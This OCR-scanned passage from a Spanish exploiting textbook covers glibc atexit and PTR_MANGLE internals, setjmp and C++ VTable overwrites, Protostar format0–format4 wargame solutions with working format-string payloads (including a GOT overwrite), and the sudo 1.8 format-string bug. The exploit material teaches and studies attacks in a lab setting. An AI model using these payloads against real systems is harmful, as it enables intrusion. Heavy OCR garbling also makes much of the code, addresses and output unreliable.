
Lo  cierto  es  que  los  metodos  desarrollados  para  lograrlo  han  sido  aplicables  en  distribueiones  de  Linux 
antiguas,  y  libros  archiconocidos  en  el  mundo  dd  hacking  y  el  exploiting  (todos  el  los  aliamente 
res pe tables)  han  seguido  citando  la  posibilidad  de  alterar  los  punteros  a  funciones  de  salida  sin  entrar 
en  mas  dctalles  teen  i  cos.  Nos  gustaria  aclarar  cual  es  la  realidad  que  se  presen  la  en  los  sistemas 
operatives  mas  modernos. 

La  funcion  atexit 0*  que  forma  parte  de  la  libreria  estandar  de  GNU,  puede  ser  utilizada  por  el 
programador  para  definir  una  funcion  que  sera  llamada  bien  cuando  exit  o  sea  invocada,  bien  cuando 
se  alcanza  la  instruccion  return  dentro  del  metodo  maino  de  la  aplicacidn  en  cuestion.  Su  prototipo 
es  ei  siguiente: 

int  atexit  [void  (*func) (void) ) ; 


Ahora  veamos  como  exit  < )  desencadcna  las  funciones  estableeidas  por  atexit  < ) . 

void  exit  (int  status)  { 

run_exit_handlers  (status,  & _ exit_funcs,  true) ; 


Descubrimos  que  no  es  mas  que  un  envoltorio  hacia  otro  metodo  intemo  al  que  se  le  proporciona  la 

direccion  de  una  variable  global _ exit  funcs  de  la  que  hablaremos  en  detalle  dentro  de  poco. 

Mostramos  ahora  un  fragmento  resum i do  del  codigo  que  mas  nos  interesa: 

void  attribute_hidden  _ run_exit_handlers  (int  status,  struct  exit  function  list 

bool  run_list_atexit ) 

{ 

while  (*listp  !=  NULL) 

( 

struct  exit  function  list  *cur  =  *listp; 
while  (cur->idx  >  0) 

{ 

const  struct  exit_f unction  *  const  f  = 

&Gur->fns [““Cur->idx] ; 
switch  (f->flavor) 


/*  Ejecutar  funcion  */ 
*listp  =  cur->next; 
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exit_funcs,  ahora  listp,  es  una  lista  enlazada  que  contiene  un  contador  (idx)  de  funciones 
almacenadas  por  at  exit  O  y  un  array  que  almacena  las  estructuras  que  definen  las  funciones  mismas, 
Se  recorren  una  por  una  en  orden  inverse  (LIFO),  y  se  ejecutan  dando  paso  a  la  siguiente  en  la  cola. 
Mostramos  la  definicidn  en  cuestion: 

struct  exit_function_list 
{ 

struct  exit_f unction_list  *next; 
sire_t  idx; 

struct  exit_function  fns [32] ; 

) *  


El  array  fns  [  ]  no  almacena  las  direcciones  de  las  funciones  en  si,  si  no  unas  estructuras  interm  edi  arias 
que  las  definen.  Aunque  se  trata  de  una  estructura  mas  compleja  compuesta  por  dos  uniones,  la 
po demos  simplificar  en  el  siguiente  ejemplo  que  facilitara  la  comprension  del  lector: 

struct  exit  function 
{ 

long  int  flavor; 

void  (*fn)  (void  *arg,  int  status); 

void  *arg; 

void  *dso  handle; 

);  

Finalmente,  el  puntero  *fn  contiene  la  direccion  de  la  funcion  que  el  programador  paso  como 
argumento  a  atexit  {).  Hasta  aqui  todo  eorreeto,  en  el  pasado  el  truco  consistia  en  que  la  lista 

_ exit  funcs  se  encontraba  disponible  a  cualquiera  que  quisiese  acceder  a  su  direccion  corno  un 

simbolo  externo.  Bastaba  con  detlnir  la  siguiente  declaracion  en  el  codigo: 

extern  void  *  exit  funcs;  


En  arliculos  como  “ _ atexit  in  memory  bugs”,  euya  fuente  puede  encontrar  en 

http://www.groar.org/expI/iniermeJiaie/heap_atexittxt,  fue  demostrado  como  un  heap  overflow  podia 
conducir  a  una  alteracion  de  esta  estructura  en  un  programa  enlazado  de  forma  estatica. 

Aunque  nada  mas  se  ha  dicho  sobre  el  tema  en  tiempos  recientes,  la  verdad  es  que  las  ultimas  versiones 

de  glibc  muestran  una  realidad  completamente  distinta.  Para  empezar,  ahora _ exit  funcs  se  define 

de  la  siguiente  forma: 

extern  struct  exit  function  list  *  exit  funcs  attribute hidden; 


El  modificador  attribute  hidden  indica  al  compilador  GCC  que  este  simbolo  sea  visible  solo  paia 
el  codigo  que  lo  referenda  pero  no  mas  alia.  Por  lo  tanto,  encontrar  la  direccion  donde  se  encuentra 
esta  lista  enlazada  de  funciones  de  salida  requiere  un  poco  de  ingeniena  inversa.  Sabemos  que 

atexit  {)  llama  en  realidad  a  otra  funcion  _ exa  atexito  que  a  su  vez  invoca  a 

_ interna i_atex±t  ( )  con  la  siguiente  orden: 

return  internal  atexit  (func,  arg,  d,  & exit  funcs ) ; 

Por  lo  tanto _ exit  funcs  es  proporcionado  como  cuarto  argumento  de  la  funcion  y  podemos  jugar 

con  GDB  para  obtener  su  direccidn.  Observe  la  siguiente  ilustracion. 
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btatkngeljtpbbc:  - 
Hurap  of  assembler  code 

for  functions  exa  afejeit: 

4i:xb7eS01f0,-<+0>: 

push 

%ehi£y 

8xb  7e50lf 1  <+l>: 
0xb7e501f6 

call 

Qxb#4?fa3  :?v: 

add 

5WU7Idfe,&eb|( 

0xb/e501fc  ct-i 2>i 

sub 

$8xl8,ttesp 

Qxb?$5Qlff  <+l5^V  • 

tea 

0K3f0(Xebx)i1&e‘&x 

Oxb?e50Z05  <+21>: 

nov 

?6eax,0xc{%i»5p) 

0xb7eS0209  <+25*: 

nov 

0x28(ftiespi)^eax 

0xb7eS020d  <+29> : 

nov 

%e*x,3x&t*esp) 

Oxb7e502Xl  <+33>l 

FM3V 

&x24$K£sp)  ,«eax 

0xb7e502iS  t+37>: 

nov  , 

%eax,0x4(»esp) 

a x b 7e 5 0 2 19  <+ 4JVT  "  : 

p>bv 

Sx28(Xesp) /fteax 

9xb7e5021d  <+45>; 

(nov 

&eax , (%esp) 

0xb7eS0220  <+48>: 

call 

0xb7e5O190 

0xb7e50225  <+53*: 

add 

$©xis#^esp 

Oxb7e50228  <+S6>; 

pop 

%ebx 

0xb7e5S229  <+57> : 

ret 

end  of  assembler  1  dd'r^:.  . 

(gdb)  |  / 

Imagen  06.01:  Desensamblado  dc _ cxaatexit. 


En  la  quinta  llnea  del  codigo  ensamblado  una  instruction  lea  mueve  al  registro  EAX  la  direction  de 

_ exit_funcs  y  a  continuation  se  puahea  dicho  valor  en  el  stack.  Si  nos  detenemos  en  ese  punto 

podemos  examinar  EAX  y  descubrir  el  contenido  de _ exit_funcs  y  las  estructuras  de  funciones 

almacenadas. 


|  3*  ‘7-  b  la  cfc  n  g  el  (fob  b  t:  ■*- 

Breakpoint  2t  Sxb7e5l205  in  _cxa_atexit  ()  fron  /lib/1386-  Linux -gnu/libc , £□. 6 
CgdSJxi  r  eax 


eax  ::  Qxb7fc33$4 

(gdb)  x/4xw  Qxb7fc33e4 
0xb7fc33e4:  Sxb7fc41e0 

(gdb)  x/8xw  0xb^fc4lee 
0xb7ft41e0:  0x98000000 

0xb7fc41fO:  0x00000000 

ksdbTr 


-12&S208412 

0xb7fe4408 

0X00000001 

0x00000000 


©Xb7fc3070 

0X00000004 

0X00000008 


Oxb7fc3064 

Ox099df 20f 
0X00000000 


Image n  06,02:  Contenido  de _ exit  ftincs. 


Deseubrimos  que  si  atexit  ()  no  ha  sido  in vocado  previamente,  la  lista  de  funciones  solo  contiene  un 
elemento  coxQQQGQGOI)  con  un  valor  0x0000  0  004  como  flavor  y  cuya  direccion  de  funcion  o  *fn  es 
0x0 9 9df  2 Of » Imagine  que  ahora  en  el  codigo  fuente  de  su  programa  se  invoca  la  siguiente  sentencia.  „ 

atexit (func) ; 


...y  ademas  listed  sabe  que  la  direccion  real  de  func  es  0x0804  8434*  pero  cuando  vuelve  a  examinar 
el  contenido  de _ exit  funcs  se  encuentra  con  lo  que  vemos  en  la  siguiente  imagen. 


0  J  blackngel(9)bbC’  ~ 

(gdb);  print  func 

$2  =';{yotd  (void)}  Ox804843f4 

(gdb)  x/8xw  6xb7fc4ie© 

<func> 

6xb7fc4ie0;  0x00000000 

0X0O000002 

0X00000004 

0X099df20f 

Qxb  7fc4  t  f 0;  0x00900000 

tgdb)  1 

0X03600000 

0X00000004 

0xfd3©9b70  ; 

Imageti  06.03:  Contenido  de _ exit  func*  tras  llamar  a  atexitQ. 
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Ahora  leneraos  dos  elementos  (0x00000002)  y  la  nueva  direccion  *fn  es  0xfd309b7Q,  que 
sorprendentemente  no  se  corresponde  con  la  direccion  esperada  0x08048434.  Observe  en  el  siguiente 
listado  el  codigo  encargado  de  insertar  las  nuevas  funciones  proporcionadas  a  atexit  ( > : 

int 

attribut.e_bidden 

_internal_atexit  (void  (*£unc)  (void  *) ,  void  *arg,  void  *d, 
struct  exit  function _list  **listp) 

{ 

struct  exit  function  *new  =  _ new_exitfn  (listp) ; 

if  (new  ==  NULL) 
return  -I ; 
tifdef  PTR_MANGLE 
PTR_MANGLE  (func) ; 

#endif 

new->£unc.cxa, fn  =  (void  (*)  (void  *,  int))  func; 

new->func. cxa . arg  =  arg; 

new“>func. cxa .  ,dso_handle  =  d; 

atomic  write_barrier  (); 

new->flavor  =  ef_cxa; 

return  0; 

}  


_ new  exitfun  ( )  obtiene  una  nueva  estructura  exit_f unction  y  sus  cuatro  elementos  principal es  son 

rellenados  come  corresponde,  pero  descubrimos  que  una  macro  ptr_mangle  ha  modificado  de  alguna 
fornia  la  direccion  original  antes  de  almacenarla  en  la  mencionada  estructura, 

ptr  mangle  se  define  para  las  arquitecturas  x86  y  x86 64  como  sigue; 


#if  defined  (  linux _ )  &&  defined  ( _ i3S6 _ ) 

tdefine  PTR  MANGLE (var)  asm  ("xorq  %%gs:%c2,  %0\n"  \ 

"rolq  $17,  \ 

\  T,=r "  (var)  \ 

:  M0"  (var) ,  \ 

,Ti"  (offsetof  (tcbhead_t,  \ 

pointer  guard) ) ) 


tel  if  defined  (  linux _ )  &&  defined  ( _ x8  6_64 _ ) 

#  define  PTR  MANGLE  (var)  asm  ("xorl  %;%fs:%c.2,  %0.\n"  . 


Ulrich  Drepper  publico  un  post  en  el  afio  2007  en  el  que  describia  este  cam  bio  introducido  en  el  codigo 
de  la  distribution  Fedora  Core  6  cn  diciembre  del  2005.  Mostramos  aqui  ima  de  las  frases  traducidas 
que  resume  la  protection: 

“£/  remedio  que  vo  he  implementado  intemamenie  en  l the  cons  iste  en  cifrar  los  punieros 
a  func  ion.  Estos  no  se  guar  dan  coma  son t  si  no  en  una  forma  distorsionada.  Esta  dis  torsion 
en  mi  codigo  cons  is  ie  en  realizar  una  ope  racion  XOR  sabre  el  puntero  con  un  valor 
aleatoric  de  32  o  64  bits.  Cada  proceso  contiene  su  propio  valor  aleatoric" 

En  realidad  la  codification  de  los  punteros  queda  constituida  por  un  cifrado  XOR  y  una  operation  de 
desplazamiento  de  bits.  Lo  cual  quiere  decir  que  atm  si  un  exploiter  files e  capaz  de  modificar  las 

directories  presentes  en  el  array  fn$[]  de _ exit_funcs?  no  sabria  como  hacerlo  en  esta  forma 

distorsionada  al  desconocer  el  valor  aleatorio  que  actua  como  Have,  y  la  macro  complementaria 
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ptr  demangle  resolvcrfa  incorrectamente  la  direction  alterada.  Que  digamos  que  la  clave  de  cifrado 
de  pimteros  es  aleatoria,  no  es  sulieiente  si  la  afirmacion  no  se  apoya  cn  una  demostracibn. 

ifinciude  <utdio.h> 

unsigned  long  get  point  guard  0 

t 

_ asm _ fT,movl  %gs:0xl8f  %eax")  ; 

} 

void  main ( ) 

i 

print f ( "Point  Guard  =  Gx%G9lX\n",  get_point  guard ()) ; 

} 


Ejeeutamos  el  program  a  anterior  en  sucesivas  ocas  i  ones  y  oblenemos  los  valorem  vole  ados  como  se 
demuestra  en  la  imagen. 


blsekflgelflbbbc: - 

bl ackngelgbbc : ~$  . /potntgua  rd 
Point  Guard  *  GxBDFB3Dli 
blacknget$bbc:~$  ,/pointguarct 
Point  Guard  »  BxA072O.2D4 
blacknge  L@bbc /poihtguard 
Point  Guard  =  0x£FD2B9AB 
blatkngel@bbc:~$  -/pointguard 
Point  Guard  -  OxAEE402C9 
blackngel@bbc:~S  I 


Imagen  06,04:  Aleatoriedad  cn  el  cifrado  de  punter  os. 


Lo  que  refuta  cl  argumento  presentado  en  el  esludio  sobre  la  Completitud  de  Turing  en  ataques  ret21ibc 
que  me  nc  ion  am  os  en  la  conclusion  del  capituio  4.  No  se  trata  de  un  valor  hardcodeado,  y  seria 
necesaria  una  falla  de  fuga  de  information  para  obtener  su  contenido  durante  el  ataque.  A  pesar  de  que 
dicha  medida  preventiva  ha  sido  implementada  en  los  procesadores  x86  de  un  modo  que  no  afecte  al 
rendim  iento  global  del  si  sterna,  existen  otras  muchas  arquitecturas  dondc  ptrmangle  no  ha  podido 
ser  implementada  y  se  define  simplemente  como: 


#define  PTR KANGLE (vac)  (void)  (var) 


Por  lo  tanto  todavia  tenemos  una  lisla  considerable  de  arquitecturas  desprotegidas  ante  ia  sobrescritura 
de  punteros  a  funcion: 

-  m68k 

-  mips32 

-  mips64 

-  aarch64 
arm 

-  hppa 

-  etc.,. 


La  idea  es  analoga  a  la  propuesta  por  PointGuard,  a  partir  de  la  cual  Microsoft  ha  desarrollado  su 
propia  version,  que  al  igual  que  las  recientes  implementaciones  de  glibc,  no  solo  realiza  una  operation 
XOR  con  un  valor  aleatoric,  sino  que  rota  tambien  los  bits  para  evitar  algunas  debilidades  con  el  origen 
lineal  de  la  operation  de  cifrado. 
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Nota 


Sleven  Alexander  realizo  una  investigacion  a  partir  de  la  cual  descubrio  que  existian 
considerables  probabilidades  de  que  la  entropia  utizada  para  generar  el  valor  aleatorio 
produjese  un  valor  0  para  el  byte  superior.  Puesto  en  conocitniento,  se  agregaron  dos 
nuevos  elementos  de  aleatoriedad  a  la  implementation  y  se  aplicaron  a!  sistema 
operative  Windows  Vista. 


Conocemos  ahora  ei  estado  actual  del  arte  y  las  posibilidades  de  un  atacante  en  los  distintos  entomos 
de  com  pu  La  cion  modem  o$. 

6.5.2.  setjmp()  y  longjmpQ 

Sin  entrar  en  dernasiados  detalles  tecnieos,  diremos  que  .set  jmp  ()  y  longjmp  u  son  dos  funciones  que 
penniten  respectivamente  guardar  y  reestabiecer  el  contexto  en  el  que  se  ejecuta  et  procesador,  o  lo 
que  es  lo  mismo,  sus  registros*  Permit!  endo  realizar  ima  especie  de  goto  sobre  el  que  el  programador 
posee  mayor  control,  constituyen  una  medida  adecuada  ante  la  recuperation  de  errores  y  posibles 
inter  rup  cioncs. 

A  set  jmp  o  se  le  proporciona  como  unico  parametro  una  variable  del  tipo  jmpbuf  donde  se  guardara 
el  emomo  de  ejecueion.  Esta  misma  debe  ser  propore  ion  ad  a  como  argumento  a  longjmp  o  para 
redirigir  el  flujo  del  programa  al  punto  definido  por  la  anterior  llamada.  jmp  buf  no  es  mas  que  un  tipo 
redeflnido  de  la  siguiente  forma: 

typedef  int  j mp bu f [ 6 ] ;  


Es  decir,  seis  valores  enteros  que  se  corresponden  con  seis  registros  del  procesador.  El  codigo  fuente 
set  jmp.  s  nos  aclara  que  dslos  son:  EBX,  ESI,  EDI,  ESP*  ETP  y  EBP.  Defmidos  por  sus  offsets  como 
sigue:  


frdef ine 

JB  BX 

0 

#  define 

JB  SI 

1 

#def ine 

JB  DI 

2 

#def ine 

JB  BP 

3 

# define 

JB  SP 

4 

#def ine 

JB  PC 

5 

Por  lo  tanto,  ahora  ya  podemos  deducir  que  si  un  desbordamiento  de  buffer  condujese  a  la  sobrescritura 
de  una  variable  advacente  de  tipo  jmp  buf  o  simplemente  jmp_buf,  concretamente  el  sexto  elemento 
que  se  correspond©  con  el  registro  eon  tad  or  del  programa  PC  o  EiP  (y  siempre  en  tiempo  posterior  a 
una  llamada  a  setjmpo  X  podria  permitimos  redirigir  el  flujo  de  una  aplicacion  cuando  esta  llamase 
subsecuentementc  a  la  fruition  complementaria  longjmp o . 

Concluimos  no  obstante,  que  de  igual  modo  que  explicamos  en  la  section  anterior,  la  macro 
ptrmangle  es  utilizada  por  set  jmp  n  sobre  los  registros  ESP  y  EIP  antes  de  set  almacenados  en  la 
variable  proporcionada  por  el  programador.  Las  condi clones  y  los  sistemas  operativos  afectados  son 
los  mismos  que  explicamos  anteriormente  y  se  aplican  de  modo  analogo. 


Capitulo  VI.  Exp lotando  format  strings 


6.5.3.  VTable  y  VPTR  en  C++ 


Aunque  todas  las  tecnicas  demostradas  hasta  el  momento  son  aplieables  a  C++,  la  version  orientada  a 
objetos  del  lenguaje  original  C,  mostramos  algunas  nuevas  posibilidades  que  se  abren  ante  nosotros  y 
que  mueho  tienen  que  ver  con  la  sobrescritura  de  punteros  a  funcion. 

Con  el  objetivo  de  facilitar  el  mecanismo  de  herencia  propio  de  la  programacion  mediante  clases 
(representaciones  abstractas  o  modelos  de  una  entidad  u  objeto),  el  lenguaje  C++  permite  la 
declaracion  de  metodos  virtuaies  los  cuales  pueden  ser  redellnidos  en  otras  clases  derivadas  de  la  base 
jerarquica.  Esto  requiere  una  gestion  dinamica  de  las  funciones  que  permita  resolver  en  tiempo  de 
ejecueion  si  se  desea  llamar  a  un  metodo  base  o  al  que  ha  sido  redefinido  por  herencia.  Para  ello,  cada 
clase  mantiene  un  tabla  especial  o  VTable  que  es  un  array  de  punteros  a  metodos.  Luego,  cada  objeto 
(instancia  de  una  clase)  mantiene  una  variable  VPtr  que  no  es  mas  que  un  puntero  hacia  la  VTable. 
Por  fortuna  para  un  atacante,  el  puntero  VPtr  forma  parte  de  la  cabeeera  de  cada  objeto  declarado,  por 
lo  que  el  desbordamiento  de  uno  de  estos  objetos  podria  conducir  a  la  alteracion  del  puntero  en  cuestidn 
yala  ere ac  ion  de  una  tabla  artificial  con  funciones  malieiosas  defmidas  por  el  intruso.  Considcre  e! 
siguienle  listado  de  codigo: 
void  func(char  *arg} 


char  ^buffer  =  new  char [512] ; 
MiCiase  * objeto  -  new  MiClase; 
strcpy (buffer,  arg) ; 
obj  eto->algunafuncionvirtual ( ) ; 


La  palabra  clave  new  es  un  analogo  de  maiiocn,  con  lo  que  tanto  buffer  como  objeto  quedaran 
ambos  asignados  en  la  zona  del  monticulo  o  heap.  Se  hace  evidente  que  la  funcion  strcpy  0  permite 
escribir  dates  mas  alia  del  limite  establecido  para  buffer.  Es  muy  probable  que  cuando 
aigunafuncionvirtuai  o  sea  invocada.  el  puntero  VPtr  haya  sido  redirigido  por  un  exploiter  para 
apuntar  a  una  zona  de  memoria  que  contenga  otra  direction  que  a  su  vez  redirija  el  flujo  de  ejecueion 
hacia  un  payload  predilecto. 


tmagen  06.05:  Redirection  a  una  VTable  maliciosa. 
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6.6.  Solucionario  Wargames 

FORMAT  0 


Este  nivel  introduce  las  cadenas  de  formato  y  como  un  atacante  puede  usarlas  para  modificar  el  flujo 
de  ejecucion  de  un  programa.  Pistas;  Este  nivel  deberia  ser  hecho  con  una  entrada  menor  que  1 0  bytes. 

Codigo  Fuente _ _ _ _ _ _ _ _ 

01  #include  <stdlib.b> 

02  # include  <unistd.h> 

03  #include  <stdio.h> 

04  #±nclude  <string.h> 

05 

06  void  vuln [char  *string) 

07  { 

08  volatile  int  target, - 

09  char  buffer[64]j 

10 

11  target  *  0; 

12 

13  sprintf (buffer ,  string); 

14 

15  if  [target  ==  Oxdeadbeef)  { 

16  printf  (t,you  have  hit  the  target  correctly  ; )  W  )  ; 

17  } 

18  ) 

19 

20  int  main (int  argc,  char  **argv) 

21  { 

22  vuln (argv [1] ) ; 

23  } 

Sol  u  cion 

Se  produce  una  llamada  vulnerable  a  sprintf 0  con  una  cadena  de  formato  proporcionada 
directamente  por  el  usuario.  Por  lo  tanto  podemos  utilizar  un  cspecificador  de  anchura  para  rellcnar  el 
buffer  con  un  valor  de  la  memoriay  sobrescribir  luego  la  variable  target.  Veaxnos: 

user@protostar : /opt/protostar/bin$  . /fornatO  %64d‘perl  ~e  Tprint 
" \xef \xbe\x&d\xdefl  T  ' 

you  have  hit  the  target  correctly  : ) 

Nuestra  entrada  de  hecho  ocupa  tan  solo  8  bytes. 

FORMAT  1 

Este  nivel  muestra  como  las  cadenas  de  formato  pueden  ser  usadas  para  modificar  zonas  arbitranas 
de  la  memoria.  Pistas:  objdump  -t  is  tu  amigo. 


C6digo  Fuente _ 

01  # include  <stdlib.h> 
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02  ^include  <unistd.h> 

03  it  include  <stdio,h> 

04  #include  <string.h> 

05 

06  int  target; 

07 

08  void  vuln (char  *  string) 

09  { 

10  printf (string) ; 

11 

12  if (  target  )  { 

13  printf ("you  have  modified  the  target  : ) \nn  ); 

14  } 

15  } 

16 

17  int  main (int  argc,  char  **argv) 

18  { 

19  vnln (argv [ 1 ] ) ; 

20  } 


Solution 

La  variable  global  target  se  encuentra  eo  la  zona  BSS  de  la  memoria  ya  quo  es  un  dato  no  iniciaMzado. 
Podemos  obtener  su  direccion: 

user@protostar : /opt/protostar/bin?  objdump  -t  ./formatl  |  grep  target 
03049638  g  0  ,bss  00000004_ target  

Ahora  podemos  utilizar  la  functon  printf  o  vulnerable  en  la  Hnea  1 0  del  codigo  para  sobreseribir  esa 
direccion  con  un  valor  distinto  de  0.  Tras  algunas  pruebas  descubrimos  que  la  cadena  de  formate 
introducida  como  arguments  al  pro  grama  se  encuentra  en  el  offset  129. 

user@protostar  :  / opt/protostEir/bin$  .  /formatl  BBBBA%12  9\$0Sx 
BBBBA4  2  42  4242 


He  aqm  entonces  el  comando  que  exp  lota  el  reto: 

user@protostar ; /opt/protostar/bin$  ./formatl  'perl  -e  sprint 

11  \x3  8  \  x96\x04\x08  M  1  'A%129\$08n 
8Ayou  have  modified  the  target  :} 


Reto  superado. 


FORMAT  2 

Esle  nivel  continua  lo  aprendido  en  format!  y  muestra  como  se  pueden  escribir  valores  espeeificos  en 
la  memoria. 


Codigo  Fuente _ 

01  #include  <stdlib.h> 
02  #include  <unistd.h> 
03  #inelude  <stdio.h> 
04  #include  <string.h> 
05 
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06 

int 

target; 

07 

08 

void  vuln  U 

09 

{ 

10 

char  buffer [512]  ; 

11 

12 

fge.ts (buffer ,  sizeof (buffer) , 

stdin)  ; 

13 

printf (buffer)  ; 

14 

15 

if(  target  —  64  )  { 

16 

printf  you  have 

modified 

the  target 

17 

}  else  { 

18 

printf ("target  is 

%d  :  (\n" 

'  f  target)  ; 

19 

} 

20 

) 

21 

22 

int 

main (int  arge,  char  * 

*argv) 

23 

{ 

24 

vuln ( ) ; 

25 

} 

Solution 

El  reto  es  muy  pared  do  al  anterior,  solo  que  esta  vez  debemos  modi  Hear  target  con  un  valor  conereto, 
64. _ * _  _ _ _ 

userdprotostar : /opt/protostar/binS  objdump  -t  JformatZ  |  grep  target 
Q80496e4  g  0  .bss  00000004  target 

Averiguainos  tambien  que  la  cadena  de  formato  comienza  en  el  offset  4,  y  entonces  ya  solo  nos  queda 
atacar  la  vulnerabilidad  dc  la  funcion  printf  ()  vulnerable.  Esta  vez  la  aplicacidn  recibe  los  datos  de 
la  entrada  estandar. 

user  Sprotostar : /opt/protostar /binS  perl  -e  "print  "\xe4\x96\x04\x.G8',r „  "%SQdw  *  "%4\$n"  1 
I  . /format 2 

5l2you  have  modified  the  target  : ) 


Reto  superado* 


FORMAT  3 

Este  nivel  avanza  desde  format2  para  mostrar  como  se  pueden  escribir  1  o  2  bytes  en  la  memoria  del 
proceso.  Tambien  le  ensena  a  scr  precavldo  con  los  datos  que  escribe  en  la  memoria. _ _ 


Codigo  Puente _ _ 

01  #include  <stdiib.h> 

02  #include  <unistd,h> 

03  #include  <stdio.h> 

04  # include  <string*h> 

05 

06  int  target; 

07 

08  void  pr intbuf f er  (char  * string) 
09  f 

10  printf (string) ; 
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11  } 

12 

13  void  viilnO 

14  ( 

15  char  buffer  [512]  ; 

16 

17  fgets  (buffer,  sizeof [buffer) ,  stdirs)  ; 

13 

19  printbuffer (buffer) ; 

20 

21  if(  target  ==  0x01025544  )  { 

22  printf(T,you  have  modified  the  target  : )  \nTI ); 

23  }  else  { 

24  print! ("target  is  %03x  ;  (\n'T,  target); 

25  ] 

26  } 

27 

23  int  main [int  argc,  char  **argv) 

29  ( 

30  vuln ( ) f 

31  1 


Solution 

Misma  vulnerabilidad  que  en  formal2  pero  ahora  target  es  comprobado  contra  nn  valor  entero  dword 
y  por  lo  tan  to,  tal  y  como  hemos  estudiado  durante  el  presents  capitulo,  tenemos  que  moditicar  target 
en  dos  tiempos  escribiendo  dos  valores  de  tipo  short  en  las  direcciones  correspondientes. 

userdprotostar ; /opt/protost.ar/bin$  objdump  -t  ./format  3  |  grep  target 
080496f4  g  0  .bss  00000004  target 


Realizamos  ima  primera  prueba  para  oblener  mas  information. 

user@protostar ; / opt/protostar /bin$  perl  -e  * print  "AAAABBEB" « "%08x"xl3 1  |  ./formats 

AAAABBBBOOOOOOOObfff  f640b7fd7ff  4  06,0000000  00000  OObffff  848060484  9-dbffff  64  000000200b7fd 
8  42 Obf f f f 6844 1 414141 4 242 42 target  is  00000000  :  [ 


Una  vez  que  obte nemos  nuestro  desplazamiento  hacemos  las  matematicas  clemen tales  para  esta  clase 
de  vulnerabilidades: 

0x0102  -  258 

0x5544  =  21828 
21828  -  258  =  21570 
0x0 8049616  =  258  -  8  =  250 
0x0 8049614  -  21570 

Y  ya  disponemos  de  la  formula  magica  para  explotar  cl  rcto: 

userfiprotostar : /opt/protostar/bin$  perl  -e  'print 

Tl \xf  6\x9 6\x04\x0 8\x£4 \  x9  6\xG4 \x0 8 Tl ,  ,T%250d'T .  "%12\$hn,t  .  n%21570d"  .  °%I3\$hn"  '  '  | 

. /formats 

-1073744230you  have  modified  the  target  ;) 


Reto  superado. 
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FORM  AT  4 

Format4  busca  un  metodo  para  redirigir  la  ejecucion  de  un  proceso.  Fislas;  objdump  -tr  es  tu  amigo. 
Codigo  Fucntc _ _ _ _ _ 

01  #include  <stdlib,h> 

02  #include  <unistd.h> 

03  tinclude  <stdio . h> 

04  # Include  <string.h> 

05 

06  int  target; 

07 

OS  void  hello  (} 

09  { 

10  printf  ("code  execution  redirected!  you  win\n'')  ; 

11  _exit { 1 ) ; 

12  } 

13 

14  vo i d  vu 1 n  () 

15  { 

16  char  buffer[512]; 

17 

18  fgets (buffer,  sizeof (buffer) r  stdin) ; 

19 

20  printf {buffer) ; 

21 

22  exit (1) ; 

23  } 

24 

25  int  main (int  argcr  char  **argv) 

26  { 

27  vuln  ( ) ; 

28  } 

Solution 

Lo  cierto  es  que  podriamos  utilizar  este  reto  para  ejecutar  un  shellcode  y  hacemos  con  privilegios  de 
administrador  en  el  sistema,  pero  como  es  algo  que  ya  hemos  demostrado  a  lo  largo  del  capftulo,  nos 
ceniremos  a  lo  que  se  nos  pide,  que  es  redirigir  el  flujo  de  ejecucion  del  programa  hacia  la  funcion 
hello  o  ?  que  como  se  puede  ver  no  es  invocada  desde  ningun  lugar  del  cddigo  de  la  aplicacion.  No 
obstante,  en  la  linea  20  se  observe  una  funcion  printf  ( )  vulnerable,  seguida  de  una  llamada  a  exit  ( ) 
cuya  entrada  en  la  GOT  podremos  modificar  en  beneficio  propio. 

user@protostar : /opt/protostar/bin$  objdump  -TR  ./format 4  I  grep  exit 
08049724  R  386  JUMP  SLOT  exit 


Ahora  la  direccion  de  la  funcion  prohibida: 

user  dp-rot.  as  tar:  /opt /protest  ar  /bin  $  objdump  -d  .  /  format  4  |  grep  hello 

0BQ484b4  <hello> ; 


El  desplazamiento  hasta  la  cadena  de  formato: 

userJiprotQstar  : /opt/protostar/bin$  perl  — e  Tprint  ,TAAAABBBBM  .  "  %08x,Tx5  '  I  ./format  4 
AAAABBBB  0  000  0000200b?  f d8 42  Obf  fff 6 844141414142424242 
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Mas  matematicas: 

0x0804  =  2052 

0x8  4b4  =  33372 
33972  -  2052  =  31920 
0x08049726  =  2052  -  8  -  2044 
0x08049724  -  31920 

Y  la  formula  magiea: 

userUprotostar : /opt/protostar /bin$  pari  -e  'print 

,T\x2  6\x97  \  x04\xQ8\x24  \  x97\xG  4  \  x0 8 "  .  T,%2044d,T .  *%4\$hnTf .  n3192QdT' .  "%S\$hnT' T  |  .  /format4 

-1208122336code  execution  redirected!  you  win 

Re  to  superado. 


6.7.  Dilucidacion 

En  este  capitulo  se  ha  pretendido  mostrar  de  un  modo  sencillo,  claro  y  cone  iso,  como  estas 
vulnerabilidades  actuan  y  c6mo  pueden  ser  explotadas  on  nuestro  beneficio,  Los  errores  de  eadena  de 
formato  ban  sido  encontrados  con  dentasiada  frecuencia  en  software  de  gran  importancia.  Un  ejemplo 
muy  conocido  ha  sido  el  correspondiente  a  I  program  a  sudo  en  su  version  1,8.  Dentro  de  ia  funcion 
sudo  debug  ( )  sc  pueden  encontrar  las  siguientes  instrucciones. 

easprintf  ( &fmt2,  "“es:  %s\r.M,  getpragname  (}  ,  fmt)  ; 
va_start(apf  fmt); 
vfprintf ( stderr ,  fmt2,  ap) ; 


El  nombre  del  programs  pasa  a  formar  parte  de  la  variable  fmt 2  y  posteriormente  esta  se  vuelca  sin 
otro  especiticador  de  formato  a  la  funcion  vfprintf  0  produciendose  el  error  mencionado.  Basta 
modiflcar  el  nombre  con  que  sudo  es  llamado  para  desencadenar  la  vulnerabilidad.  Vea  e!  ejemplo; 

blackngelObbc : In  -s  /usr/bi n/sudo  %n 

blackngelObbc  :  ,/%n  -D9 

***  %n  in  writable  segment  detected  *** 


E!  error  mostrado  pertenece  a  la  p rote cc ion  Fortify  Source  sobre  la  cual  hablaremos  en  el  proximo 
capitulo.  Como  se  puede  observar,  ni  siquiera  las  aplieaciones  mas  conocidas  y  comprometidas  de 
Linux  se  libran  de  estas  fall  as. 
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Capitulo  VII 

Medidas  preventivas  y  evasiones 


Linux,  casi  como  pionero  en  la  materia  y  siendo  uno  de  I  os  sistemas  operative), s  que  mas  golpes  ha 
recibido,  ha  invertido  mucho  tiempo  y  esfuerzo  en  disenar  soluciones  robustas  contra  toda  clase  de 
ataques.  Exists  n  rmiltitud  de  metodos  que  intentan  miiigar  a  toda  costa  la  ejecucidn  de  eddigo 
arbitrario,  bien  sea  mediante  parches  aplicados  al  kernel,  o  bien  en  espacio  de  usuario  con  librerias 
